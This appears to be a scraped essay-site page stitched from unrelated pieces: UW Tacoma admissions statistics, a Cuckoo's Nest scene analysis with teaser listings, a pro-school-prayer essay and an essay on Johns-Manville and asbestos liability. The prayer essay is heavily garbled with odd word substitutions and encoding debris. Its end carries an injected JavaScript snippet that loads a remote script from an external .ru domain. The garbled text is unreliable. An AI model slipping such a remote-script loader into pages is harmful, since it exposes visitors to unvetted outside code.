UW Tacoma Acceptance Rate, SAT/ACT Scores, GPA

The University of Washington Tacoma is a public university with an acceptance rate of 86%. Located in downtown Tacoma, Washington, UW Tacoma is a satellite campus of the University of Washington. Students can choose from over 40 undergraduate majors, with business, computer science, and psychology among the most popular. Academics are supported by a 17-to-1  student / faculty ratio. Outside of the classroom, UW Tacoma has over 80 student-run clubs and organizations, ranging from academic honor societies, to recreational sports, to performing arts groups. Considering applying to UW Tacoma? Here are the admissions statistics you should know, including average SAT/ACT scores and GPAs of admitted students. Acceptance Rate During the 2017-18 admissions cycle, University of Washington Tacoma had an acceptance rate of 86%. This means that for every 100 students who applied, 86 students were admitted, making UW Tacomas admissions process somewhat competitive. Admissions Statistics (2017-18) Number of Applicants 2,036 Percent Admitted 86% Percent Admitted Who Enrolled (Yield) 37% SAT Scores and Requirements The University of Washington Tacoma requires all applicants to submit either SAT or ACT scores. During the 2017-18 admissions cycle, 92% of admitted students submitted SAT scores. SAT Range (Admitted Students) Section 25th Percentile 75th Percentile ERW 490 600 Math 490 590 ERW=Evidence-Based Reading and Writing Section The admissions data tells us that most of UW Tacomas admitted students fall within the  bottom 29% nationally  on the SAT. For the evidence-based reading and writing section, 50% of students admitted to UW Tacoma scored between 490 and 600, while 25% scored below 490 and 25% scored above 600. On the math section, 50% of admitted students scored between 490 and 590, while 25% scored below 490 and 25% scored above 590. Applicants with a composite SAT score of 1190 or higher will have particularly competitive chances at UW Tacoma. Requirements The University of Washington Tacoma does not require the optional essay section of the SAT, nor does the university require SAT Subject tests. Note that UW Tacoma does not superscore SAT results; your highest composite SAT score will be considered. ACT Scores and Requirements UW Tacoma requires that all applicants submit either SAT or ACT scores. During the 2017-18 admissions cycle, 13% of admitted students submitted ACT scores. ACT Range (Admitted Students) Section 25th Percentile 75th Percentile English 15 24 Math 16 22 Composite 16 23 This admissions data tells us that most of UW Tacomas admitted students fall within the  bottom 27% nationally  on the ACT. The middle 50% of students admitted to UW Tacoma received a composite ACT score between 16 and 23, while 25% scored above 23 and 25% scored below 16. Requirements Note that UW Tacoma does not superscore ACT results; your highest composite ACT score will be considered. The University of Washington Tacoma does not require the optional ACT writing exam. GPA In 2018, the average high school GPA of University of Washington Tacomas incoming class was 3.29, and over half of incoming students had average GPAs of 3.25 and above. These results suggest that most successful applicants to UW Tacoma have primarily B grades. Admissions Chances The University of Washington Tacoma, which accepts more than three-quarters of applicants, has a somewhat selective admissions process. If your SAT/ACT scores and GPA fall within the schools average ranges, you have a strong chance of being accepted. However, UW Tacoma also has a  holistic admissions  process involving other factors beyond your grades and test scores. A strong  application essay  can strengthen your application, as can participation in meaningful  extracurricular activities  and a  rigorous course schedule. Note that applicants to UW Tacoma must meet minimum academic requirements including four credits of English; three credits of math and social science; two credits of science and world languages; and a half credit each of arts and academic electives. Students with particularly compelling stories or achievements can still receive serious consideration even if their test scores are outside UW Tacomas average range. UW Tacoma does not use letters of reco mmendation in the admissions process. If You Like the University of Washington Tacoma, You May Also Like These Schools University of Washington - SeattleBoise State UniversityUniversity of PortlandUniversity of IdahoUniversity of OregonArizona State UniversityUniversity of WyomingUniversity of Southern CaliforniaUniversity of Washington - Bothell All admissions data has been sourced from the National Center for Education Statistics and University of Washington Tacoma Undergraduate Admissions Office.

One Flew over the Cuckoos Nest Final Scene - 1425 Words

In the final scene of One Flew Over the Cuckoo’s Nest, Chief Bromden is the main character. The only two characters in this scene are Bromden and McMurphy, and even though McMurphy would be considered the main character of the entire film, Bromden is the main character of this scene because he has the strongest desire. In fact, in this one scene, Bromden has many desires that to him, are life or death. Initially, after hearing rumours of McMurphy’s escape, when McMurphy returns to his bed, Bromden thinks that he has returned in order to escape with him. At this point, Bromden’s desire is simply to escape the ward. He then realizes that McMurphy has not returned to escape, but that he has actually been lobotomized. When he sees this, he†¦show more content†¦He resolves the conflict by finding the courage to escape on his own. Another conflict in this scene is the fact that McMurphy, who is the most outspoken and powerful patient in the ward has been lobot omized. The fact that he basically no longer has a mind of his own not only gets in the way of Bromden’s desire, but will also destroy any optimism and faith that any of the other patients have. This is also a conflict for Bromden because he knows that McMurphy would be miserable if the old him were to see the lobotomized him, and Bromden does not want McMurphy to be shamed. Bromden deals with this conflict by killing McMurphy, that way none of the other patients will see him in this state, and McMurphy will not have to live this way for any longer. The main twist in this scene comes when McMurphy returns. Bromden is relieved because he thinks that McMurphy has returned to escape with him, but instead he has been lobotomized and no longer has any desire to escape. This comes as a shock to both Bromden, because it is the opposite of what he has expected, and also to the audience, because seeing McMurphy in the state of being lobotomized completely contrasts the character of Mc Murphy that the audience has come to know. The technique of juxtaposition makes this twist extremely effective. McMurphy is a character who is always active, energetic, powerful, and lively. He prides himself on his non-alignment, so the audience knows that to McMurphy,Show MoreRelated Ken Keseys One Flew Over the Cuckoos Nest Essay1199 Words   |  5 PagesKen Keseys One Flew Over the Cuckoos Nest The theme of this story â€Å"One Flew Over The Cuckoo’s Nest† according to Daniel Woods is â€Å"Power is the predominant theme of Ken Keseys One Flew Over The Cuckoos Nest: who holds power, who doesnt, who wants it, who loses it, how it is used to intimidate and manipulate and for what purposes, and, most especially, how it is disrupted and subverted, challenged, denied and assumed† (http://www.gradesaver.com/ClassicNotes/Titles/cuckoosnest/essays/essay1Read MoreOne Flew Over the Cuckoos Nest Directed by Milos Foreman1404 Words   |  6 PagesOne Flew Over the Cuckoo’s Nest Milos Forman Fantasy Films 1975 The Combine and American Society: All films, regardless of their intended purposes, tend to capture a piece of history and culture within them. Film’s ability to capture images and produce a visual is truly unique, as other methods of storytelling, such as writing a book, fail to truly encapsulate the human experience. Using an aesthetic lens, film directors essentially preserve time, and bring us back to our roots. Through masterfulRead More Narration, Metaphors, Images and Symbols in One Flew Over the Cuckoos Nest3029 Words   |  13 Pagesand Symbols in One Flew Over the Cuckoos Nest   Ã‚   In 1962, when One Flew Over the Cuckoos Nest (the Nest), was published, America was at the start of decade that would be characterized by turmoil. Involvement in Vietnam was increasing, civil rights marches were taking place in the south and a new era of sexual promiscuity and drug use was about to come into full swing. Young Americans formed a subgroup in American society that historians termed the â€Å"counterculture†. The Nest is a product ofRead MoreOne Flew over the Cuckoos Nest Research Paper1764 Words   |  8 PagesDrugs and Insanity Against Society The author of the novel One Flew Over the Cuckoos Nest, Ken Keasey, received his inspiration for the book while volunteering at a veterans hospital. This is where he was first introduced to LSD. The moment he tried it, he became addicted, and began experimenting on himself with the drugs, observing the effects. The novel deals with the tyrannical rule of head Nurse Ratched in a mental hospital somewhere in Oregon. She runs all business and daily life in the asylumRead MoreEssay on One Flew Over the Crucifix1969 Words   |  8 Pagesattendant on the psychiatric ward of Menlo Park Veterans Hospital, Ken Kesey was stricken with an idea that would later turn into his first novel. That novel, entitled One Flew Over the Cuckoo’s Nest, went on to become his most famous work and a celebrated piece of modern American fiction (Lupack 566). One Flew Over the Cuckoo’s Nest tells the story of a mental hospital which is running quite smoothly until a new patient enters the ward and sets chaos in motion. This new patient, McMurphy, disagreesRead MoreThe Film One Flew Over The Cuckoo s Nest1267 Words   |  6 PagesIn the novel and the film One Flew over the Cuckoo’s Nest there are a variety of transformations. In the film the actors are not portrayed, looks wise, as they are in the book. There are many characters whose appearances aren’t how they are described in the book, like Nurse Ratched and Chief Bromden. There are also many events and incidents that happen in the book that do not happen in the movie. The movie includes a character or two that was not mentioned in the book and characters are portrayedRead Moreâ€Å"One Flew over the Cuckoo’s Nest†: an Allegory of Communism2301 Words   |  10 Pagesâ€Å"One Flew Over the Cuckoo’s Nest†: an allegory of Communism Have you ever heard anything about the lives of people who live in a Communist country? I am personally one of those whose family struggled 18 years without individual rights and freedom under the Communist rule. I am familiar with the lives of those people. These experiences are not found in any Communist books. Before 1975, Vietnam was a republic. On April 30th, 1975, Communists took over the country. They claimed that our countryRead MoreOthello Comparison Essay3062 Words   |  13 PagesHow is the theme of suffering portrayed in ‘Othello’, ‘Wuthering Heights’ and ‘One flew over the Cuckoo’s Nest’? The theme of suffering can come in numerous varieties; under categories both physical and emotional. Suffering is presented as a key concept in ‘Othello’, ‘Wuthering Heights’ and ‘One flew over the Cuckoo’s Nest’. All three texts explore many aspects of suffering in parts, however the most obvious and concentrated facet leans towards the psychological aspect rather then the physical sideRead MoreOne Flew Over The Cuckoos Nest2516 Words   |  11 PagesNanda Sundaresan AP English Summer Homework One Flew Over the Cuckoo’s Nest By Ken Kesey One Flew over the Cuckoo’s Nest was published in 1963 in the middle of the Civil Rights movement and great changes in how psychology and psychiatry were being approached in America. This book has been adapted to a play by Dale Wasserman in 1963 and adapted for a film in 1975. The Protagonist: Randle Patrick McMurphy The protagonist of this novel is Randle Patrick McMurphy, a wild, larger-than-life characterRead MoreOne Flew Over the Cuckoos Nest by Ken Kesey 1043 Words   |  4 PagesSanity In the final scene of One Flew Over the Cuckoo’s Nest, Chief Bromden is the main character. The characters that preform in this scene are Chief Bromden, McMurphy, and Nurse Ratched. Even though McMurphy would be considered the main character of the novel, Bromden is the main character of this scene because he shows the strongest desire. In this one scene, Bromden has many desires that to him could be both life or death threatening. Nurse Ratched makes one last attempt to gain back

Preacing Prayer Essay Research Paper Preaching PrayerThe free essay sample

Preacing Prayer Essay, Research Paper Preaching Prayer The subject of supplication in schools is a beliing topic. Many people argue their sentiments about it: either for supplication or against it. The people doing the determinations should see all of the pros and cons for each side. The action of supplication in schools should be motivated to ensue in a better result for everyone. The people for it insist that supplication should be included in school activity because it is a portion of life that surrounds everyone, the bulk of the pupils support it, and it is already taught in school literature. The people against it claim that it is non appropriate for people to idolize their God when non all people believe in the same one. Prayer is an mundane thing that surrounds many people in society. It is a portion of life that will ever be at that place. ? In the United States there are over 350,000 churches, mosques, chapels, temples, and many other? houses of worship. ? This does non include the many? hebdomad and folds? that gather in rented halls, hotel suites or even private places [ ? ] . There are over 10,000 pupil spiritual or Bible survey groups now runing in public schools? ( Johnson ) . Prayer seems to be everyplace. ? Approximately 10 % of the American population describe themselves as Atheists, Agnostics, deists, or other such denomination? ( Johnson ) . A individual can contend with 90 % of this state or fall in them. Parents can non command drug, smoke, or intoxicant maltreatment. They do non desire the influence of these things around their kids, but they are anyhow. Childs have to larn to contend for themselves and make up ones mind on their ain. Prayer in schools is extremely supported by the bulk of the pupil organic structure. In December 1998, pupils voted overpoweringly to hold pupil led supplication. When the ballots were rejected, 100s of pupils in the extremely spiritual community held vigils and staged walkouts in protest ( ? Education? ) . A pupil athlete portions, ? Turning to God helps me execute at new, better degrees. This is non merely thought of God, but really understanding clearly the fact that I am the very look of God? ( ? Does Prayer? ? ) . Another pupil says, ? I realized that all of us childs were safe with God, whether we were at place or at school. Or anyplace. God was here, taking attention of us, and nil could interrupt or interfere with Him? ( ? A Second? ? ) . Students, including jocks, bask being with God in school activities. They feel that he helps them get by with mundane events. ? God is infinite. And God is good. Grace, velocity, legerity, coordination, and all the other qualities athletes w ork at developing are natural for us all to show, because we are each God? s look? ( ? Does Prayer? ? ) . In Jackson, Mississippi, the local overseer was the mark of gunshot because he suspended a principal for leting Christian supplications to be read over the school? s public reference system ( ? FAQ? s? ? ) . Students are for supplication, and they will fight until they can non contend any longer. School systems spread throughout the United States contain course of study that involves the instruction of prophesying. ? Teachers are non allowed to talk of the Bible on their ain, or portion bible narratives ; but the authorities requires them to learn about the religouns of other states and beliefs of the yesteryear? ( ? Students May Read? ? ) . A instructor learned about supplication and watched as it helped her deliver a pupil. ? Prayer gave me the freedom to diverge from the lesson program and so draw from the immature adult male his thoughts and observations? ( ? School Prayer? ) . Students and instructors across the state go against the First Amendment merely because of the fact that they believe that they have a right to pray. Eleventh grade English literature contains the instructions of the Puritans and Romantics and it speaks of their beliefs, along with their background of faith. If people are non even allowed to portion their ain beliefs, so it is non right to learn th e beliefs of other faiths either. Every vacation season, kids in most of the universe celebrate the joy of Christmas. They decorate cedar trees, bent stockings, leave cookies out for? Jolly Old Saint Nick, ? and they ask Santa for particular playthings on their wish list. Schools allow kids to hold Christmas parties and do all of these things. The lone thing they do non portion with the kids is the true significance of the vacation. This same thing happens during April when kids celebrate Easter and the Easter Bunny. Schools are supposed to learn kids about of import events. While they do, in fact, do this, they are learning the kids the incorrect significance of the vacations. It is all right for kids to bask these vacations with the made-up characters and activities, but they should besides larn the true significances of them along with the jubilation. Peoples celebrate these vacations and want things, but they are excessively god to pray and be grateful. ? These have become secular imposts? ( ? Is It All right to Observe? ? ) . Without the Lord, there would non be a Christmas or Easter. / gt ; Peoples reserve the right to portion their faith anytime that they please. They are protected with the First Amendment. ? This amendment is under the Bill of Rights to supply basic legal protection for single rights? ( ? The Bill of Rights? ) . The First Amendment provinces, ? Congress shall do no Torahs esteeming an constitution of faith, or forbiding the free exercising thereof, or foreshortening the freedom of address, or of the imperativeness ; or the right of the people pacifically to piece, and to petition the authorities for a damages of grudges? ( ? The Bill of Rights? ) . This measure backs up the citizens of the United States from being deprived of the freedom of faith and address. ? The authorities can non punish you because of your spiritual beliefs? ( ? Religious Freedom? ) . The EAA permits pupils to make spiritual nines under the? free address rights. ? There is freedom of address for all people. Atheist? s kids can speak-out every bit rapidly as Christian 1s can. They can portion their beliefs and voice their unloving sentiments towards God. There is non a jurisprudence prohibiting Atheists to prophesy their beliefs, so why should at that place be one for Christians? Everyone is created equal with the freedom of address and faith. Homosexuals and different races are non banned from schools ; Christians should be treated the same. Some people may reason that supplication in schools is non good, but they are incorrect. School supplication is an opportunity to acquire others involved and portion the glorious significance of Jesus. It pulls people together in the community and aids make peoples? lives more satisfying. The fulfilment of supplication for people consequences in good. ? It is logical that more supplications are being offered in support of our kids and their schools. Not merely are the kids benefited when people turn to God on their behalf ; the organic structure politic is elevated as good? ( ? School Prayer? ) . Student athletes express that they believe in supplication to assist them run into no obstructions. They do non pray to set down another one of God? s people. ? There is no ground God would keep back ability or love from anyone, and when we pray to turn out that, we can be winning over restrictions of any sort? ( ? Does prayer assist? ? ) . Peoples are incorrect when they say that supplicati on is bad for schools. It is something needed by the people of society. ? ? God being everyplace and across-the-board, how can He be absent or suggest the absence of ubiquity and omnipotence? How can at that place be more than all? ? This is an deduction that merely God can non be absent, and that there genuinely can non be more that God? s power! ? ( ? A Second? ? ) . Persons can pick and take to believe as they please, but it is at that place for those who want to play a portion. There are non many people out in the universe that do non believe in supplication and a God, but this little population is the thing that is keeping everything up. They merely claim that because non all people worship the same God, it would non be appropriate for supplication inside the school system. Prayer is a beliing topic between many persons. Some are for it, and others will make anything that they can to curtail it from the fundamental law. The bulk of pupils, instructors and parents believe supplication should be involved in the lives of pupils. Prayer brings fulfilment along with forfeits that have to be made. Freedom of faith and address, belief in jubilations of Jesus, faith in school lessons, pupil support, and the fact that supplication is a portion of life that surrounds everyone are all grounds that supplication should be in the public schools. ? There is now an? chance to be taught of God? ? ( ? School Prayer? ) . Prayer could supply a better ambiance that leads to a more successful hereafter of our immature. Today? s kids are our hereafter. Johnson, Ellen. ? Unconstitutional Religious Expression in the Public Schools. ? Schoolhouse American Atheists. 21 August 1998. . Hanson, Cynthia and Abraham McLaughlin. ? Students May Read Bibles and Distribute Religious Literature. ? Christian Science Monitor. 87. 191 ( 28 August 1995 ) : 92. Available EBSCOhost. ? A Second-Grader? s Prayer. ? Christian Science Monitor. 91. 122 ( 20 May 1999 ) : 23. Available EBSCOhost. ? Bill of Rights. ? Grolier Online. 1991. ? Does Prayer Help in Sports? ? Christian Science Monitor. 89.247 ( November 1997 ) : 17. Available EBSCOhost. ? Education. ? World News Digest. ( December 1993 ) : 954G2. Available EBSCOhost. ? FAQ? s About Prayer in Schools. ? Schoolhouse. American Atheists. 1996. ? Is It All right To Celebrate Religious Holidays in Public Schools? ? ACLU Department of Education. March 1999. ? Religious Freedom. ? 29 November 1999. . ? School Prayer. ? Christian Science Monitor. 91.219 ( 7 October 1999 ) : 23. Today? s Article on Christian Science. 16 November 1999. . Available EBSCOhost. ? The Bill of Rights. ? Thomas Historical Documents. Cybercasting Services Division of the National Public Telecommuting Network. 16 October 1996. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Essay on Asbestos in Industry Article free essay sample

The article begins with an introduction to Clarence Borel who was employed as an industrial insulation installer in 1936. Borel was exposed to heavy concentrations of asbestos dust. The asbestos products were manufactured by Johns-Manville Corporation among other corporations. Borel died from lung cancer, specifically mesothelioma caused by asbestosis. Asbestosis is a scarring of lung tissue and is believed to have been involved in â€Å"10 percent of the deaths among asbestos workers. Asbestosis may not be evident in a victim for ten to thirty years following exposure. Once asbestos fibres are inhaled in the lungs, they remain there and damage the lung tissues. It is a gradual disease and extremely painful. Cigarette smoking seems to increase the risk of lung cancer related to asbestos related exposure. It is estimated that 4 million US workers and consumers have been exposed to dangerous levels of asbestos since the 1940s due to the widespread use of the product. Exposure to asbestos is still prevalent in the US, 1. to 2. 5 million, and it is expected that 35 percent of those with heavy exposure will die from asbestosis and mesothelioma related diseases. The focus of this article is on the actions taken by Johns-Manville, â€Å"the largest producer of asbestos fiber in the US. † The author indicates that it is not clear when Johns-Manville became aware of the danger of working with asbestos. Johns-Manville acted unethically by not providing warnings about the safety of their product at the time the information became available to them. The company commissioned a study in the early 1930s, that found that asbestosis could be compared to silicosis, which was already recognized as an occupational disease. The legal department of Johns-Manville urged Dr. Lanza, lead researcher on the 1935 study, to change the survey and not dwell on the dangerous aspects of asbestos, giving manufacturers â€Å"a break. † The study, only slightly altered, showed that 106 of the 126 randomly sampled asbestos workers employed three years of more had abnormal lung findings. The inaction of Johns-Manville to order further tests or invest in research and development to protect their workers was immoral. The act utilitarianism would have wanted to â€Å"bring about a desirable or good end. † Clearly 84% of workers exposed to asbestos with possible lung disease were not in this case â€Å"the greatest amount of good over bad for everyone affected† by working with the product. Once it became apparent that asbestos inhalation may be related to these various lung diseases, affected workers or survivors began suing manufacturers of the product. Additional studies were conducted through the years including an extensive study by the US Public Health Service which indicated there could be an acceptable limit related to the amount of asbestos inhaled. An industry association also advised of a threshold for exposure, but the government and Johns-Manville did not conduct any more large research projects to test the hazards’ of the product. This non-action by both Johns-Manville and the government were acts of immorality. Still in the early 1960s, asbestos-related disease was rising quickly. Another study concluded a high percentage of workers exposed had been affected by asbestosis. Finally, Johns-Manville affixed the first warning labelson their products with an advisory to wear mine approved respirators when adequate ventilation was not available. Johns-Manville defended this action and that further warning was not necessary and the company had done their due diligence by â€Å"informing the people. † At this point in time it could be argued that Johns-Manville acted in the universal ethical egoist manner. By providing a warning, Johns-Manville supported that â€Å"everyone should act in their own self-interest, regardless of the interest of others†. In other words, according to Johns-Manville, they were aware their product could be hazardous but it was not about to monitor the usage of the product by the consumer no more than an aspirin company would go into the home of a consumer to monitor the use of their product. Clarence Borel sued Johns-Manville after becoming ill. He maintained that Johns-Manville should conducted further testing to determine the hazards involved. Johns-Manville argued that Borel’s own company should have provided the necessary warnings and provided him with a respirator. Borel was offered a respirator years after starting work for the company and he had already been exposed. When he did have one offered to him, it was uncomfortable and ill fitted. Borel also contended that the respirator did not keep the dust out. Borel’s estate won the suit with the decision held up by a federal appeals court. Borel’s lawsuit was the first of thousands. Class action suits against Johns-Manville began and the average cost to settle was $40,000. In 1982, 15,000 workers had sued JM and another 500 lawsuits were being filed every month. On August 26, 1982, the financially healthy Johns-Manville filed for protection under Chapter 11 bankruptcy, asking that the corporation be allowed to reorganize while still operating. Johns-Manville argued that this was necessary to allow the company to deal with all of the lawsuits, a step that was unprecedented for a stable and profit making corporation. An argument could be made that Johns-Manville acted in an ethical manner by filing Chapter 11, knowing it would temporarily halt the lawsuits against them and change how the cases would be dealt with in the future. Johns-Manville acted this time in a rule-nonconsequentialist manner by invoking Kant’s practical imperative. By halting the current law suits, changing courts (from federal to state then to bankruptcy court) and the variety of outcomes concluded in court to date, restructuring would give Johns-Manville a way to give their victims of asbestos inhalation â€Å"equal treatment† and allow them to be treated fairly. In conclusion, the actions of the Johns-Manville corporation were by and large immoral based on the millions of people affected with various lung diseases and that will still be affected in the future from past exposure. The company was aware ten years after incorporation that there could be serious dangers related to exposure (based on questions raised by insurance companies) but they choose not to act on these warnings, thereby not fulfilling their prima facie duties, as Sir David Ross might have advocated but rather out of malfeasance and greed.